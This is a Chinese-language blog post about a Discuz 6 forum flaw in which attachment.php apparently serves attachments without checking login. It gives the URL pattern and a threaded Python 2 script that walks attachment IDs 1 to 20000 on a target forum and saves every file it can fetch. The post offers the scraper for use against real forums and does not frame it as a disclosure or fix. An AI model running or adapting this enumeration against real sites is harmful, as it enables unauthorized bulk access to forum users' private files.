• 下载discuz 6 论坛的附件


    前段时间我下了个python脚本把emsky的附件全部下载了,之前是因为偶然发现emsky附件不登陆也能访问,直接访问一个url就行了。

    后来发现大部分discuz6的论坛都有这个bug,我想是因为discuz6的attachment.php没有检测用户是否登陆。

    所以,要下载一个附件,这样就行了:

    【论坛url】+attachment.php?atid+【附件id】
    

    当然还有一些论坛可能有点验证机制,比如附件下载页面还要再点一个url,但一般这样的url都是明文的,所以也不难。

    顺便再丢一个通用的很挫的python脚本:

    # -*- coding: gbk -*-
    
    import urllib, urllib2, cookielib
    import os, time
    import re
    import thread
    from os.path import basename
    from urlparse import urlsplit
    
    URL_INDEX=                        #论坛主页
    DIRNAME  = "attdir"                         #下载目录
    ID_START = 1                                #起始附件标号
    ID_END   = 20000                            #结束附件标号
    DIR_NUM  = 1000                             #一个目录内放的文件数
    AID_PLUS_FN = True
    URLATT = URL_INDEX+"/attachment.php?aid="
    
    id_i = ID_START
    
    def download(aid=0):
        global workdir
        try:
            url = "%s%d"%(URLATT,aid)
            r = urllib2.urlopen(url)
            fileName = ""
            if r.info().has_key('Content-Disposition'):
                fileName = r.info()['Content-Disposition'].split('filename=')[1]
                fileName = fileName.replace('"', '').replace("'", "")
            elif r.url != url: 
                fileName = ibasename(urlsplit(r.url)[2])
            if fileName <> "":
                if AID_PLUS_FN == True:
                    fileName = "%08d_%s"%(aid,fileName)
                fpath="%05d000"%(aid/DIR_NUM)
                try:
                    os.chdir(workdir+"/"+fpath)
                except:
                    os.mkdir(workdir+"/"+fpath)
                    os.chdir(workdir+"/"+fpath)
                #print fileName,
                if os.path.isfile(fileName):
                    #print "ignore"
                    pass
                else:
                    f = open(fileName, 'wb')
                    f.write(r.read())
                    f.close()
                    #print "done"
            else:
                pass
        except Exception,e:
                print e
    
    def downloads(id_s,id_e):
        global id_i
        while id_i<=id_e:
            download(id_i)
            id_i = id_i+1
        print "thread ok"
    
    if __name__ == '__main__':
        global workdir
        try:
            os.chdir(DIRNAME)
        except:
            os.mkdir(DIRNAME)
            os.chdir(DIRNAME)
        workdir = os.getcwd()
        print "start:%d
    end:%d
    "%(ID_START,ID_END)
        for i in range(0,10):
            thread.start_new_thread(downloads,(ID_START,ID_END))
        while True:pass
        
         
     
    

      

  • 相关阅读:
    Kibana6.8.6简单操作手册
    自学思科SD-WAN Zero Touch Provisioning(ZTP)零接触配置
    自学思科SD-WAN Zone Based Firewall(ZBF)区域防火墙
    自学思科SD-WAN Application Aware Routing(AAR)应用感知路由
    自学思科SD-WAN策略框架-本地策略(控制策略+数据策略)
    自学思科SD-WAN策略框架-集中式数据策略
    自学思科SD-WAN策略框架-集中式控制策略
    国密算法说明SM2、SM3、SM4
    Docker Desktop 通过本地命令运行.net core程序
    关于windows使用docker的总结
  • 原文地址:https://www.cnblogs.com/fwindpeak/p/3450717.html
Copyright © 2020-2023  润新知